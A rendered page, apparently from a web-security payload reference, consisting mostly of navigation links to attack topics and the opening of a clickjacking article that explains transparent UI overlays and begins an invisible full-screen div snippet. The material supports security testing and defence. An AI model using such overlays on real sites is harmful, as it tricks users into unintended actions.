<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
ORM Leak
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
ORM Leak
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../ORM%20Leak/" class="md-nav__link">
<span class="md-ellipsis">
ORM Leak
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirect
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prototype%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Regular Expression
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Regular Expression
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Regular%20Expression/" class="md-nav__link">
<span class="md-ellipsis">
Regular Expression
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLmap/" class="md-nav__link">
<span class="md-ellipsis">
SQLmap
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52_2" >
<label class="md-nav__link" for="__nav_52_2" id="__nav_52_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_52_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
<nav class="md-nav" aria-label="Methodology">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#ui-redressing" class="md-nav__link">
<span class="md-ellipsis">
UI Redressing
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#invisible-frames" class="md-nav__link">
<span class="md-ellipsis">
Invisible Frames
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#buttonform-hijacking" class="md-nav__link">
<span class="md-ellipsis">
Button/Form Hijacking
</span>
</a>
</li>
<li class="md-nav__item">
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Execution Methods
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<a href="#preventive-measures" class="md-nav__link">
<span class="md-ellipsis">
Preventive Measures
</span>
</a>
<nav class="md-nav" aria-label="Preventive Measures">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#implement-x-frame-options-header" class="md-nav__link">
<span class="md-ellipsis">
Implement X-Frame-Options Header
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#content-security-policy-csp" class="md-nav__link">
<span class="md-ellipsis">
Content Security Policy (CSP)
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</a>
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<a href="#disabling-javascript" class="md-nav__link">
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Disabling JavaScript
</span>
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<a href="#onbeforeunload-event" class="md-nav__link">
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OnBeforeUnload Event
</span>
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<a href="#xss-filter" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter
</span>
</a>
<nav class="md-nav" aria-label="XSS Filter">
<ul class="md-nav__list">
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<a href="#ie8-xss-filter" class="md-nav__link">
<span class="md-ellipsis">
IE8 XSS filter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#chrome-40-xssauditor-filter" class="md-nav__link">
<span class="md-ellipsis">
Chrome 4.0 XSSAuditor filter
</span>
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Challenge
</span>
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Labs
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References
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<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
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<h1 id="clickjacking">Clickjacking</h1>
<blockquote>
<p>Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#tools">Tools</a></li>
<li><a href="#methodology">Methodology</a><ul>
<li><a href="#ui-redressing">UI Redressing</a></li>
<li><a href="#invisible-frames">Invisible Frames</a></li>
<li><a href="#buttonform-hijacking">Button/Form Hijacking</a></li>
<li><a href="#execution-methods">Execution Methods</a></li>
</ul>
</li>
<li><a href="#preventive-measures">Preventive Measures</a><ul>
<li><a href="#implement-x-frame-options-header">Implement X-Frame-Options Header</a></li>
<li><a href="#content-security-policy-csp">Content Security Policy (CSP)</a></li>
<li><a href="#disabling-javascript">Disabling JavaScript</a></li>
</ul>
</li>
<li><a href="#onbeforeunload-event">OnBeforeUnload Event</a></li>
<li><a href="#xss-filter">XSS Filter</a><ul>
<li><a href="#ie8-xss-filter">IE8 XSS filter</a></li>
<li><a href="#chrome-40-xssauditor-filter">Chrome 4.0 XSSAuditor filter</a></li>
</ul>
</li>
<li><a href="#challenge">Challenge</a></li>
<li><a href="#labs">Labs</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://portswigger.net/burp">portswigger/burp</a></li>
<li><a href="https://github.com/zaproxy/zaproxy">zaproxy/zaproxy</a></li>
<li><a href="https://github.com/machine1337/clickjack">machine1337/clickjack</a></li>
</ul>
<h2 id="methodology">Methodology</h2>
<h3 id="ui-redressing">UI Redressing</h3>
<p>UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.</p>
<ul>
<li><strong>How UI Redressing Works:</strong><ul>
<li>Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a <code>&lt;div&gt;</code>) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like <code>opacity: 0;</code>.</li>
<li>Positioning and Layering: By setting the CSS properties such as <code>position: absolute; top: 0; left: 0;</code>, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.</li>
<li>Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.</li>
<li>User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.</li>
</ul>
</li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="p">&lt;</span><span class="nt">div</span> <span class="na">style</span><span class="o">=</span><span class="s">&quot;opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;&quot;</span><span class="p">&gt;</span>
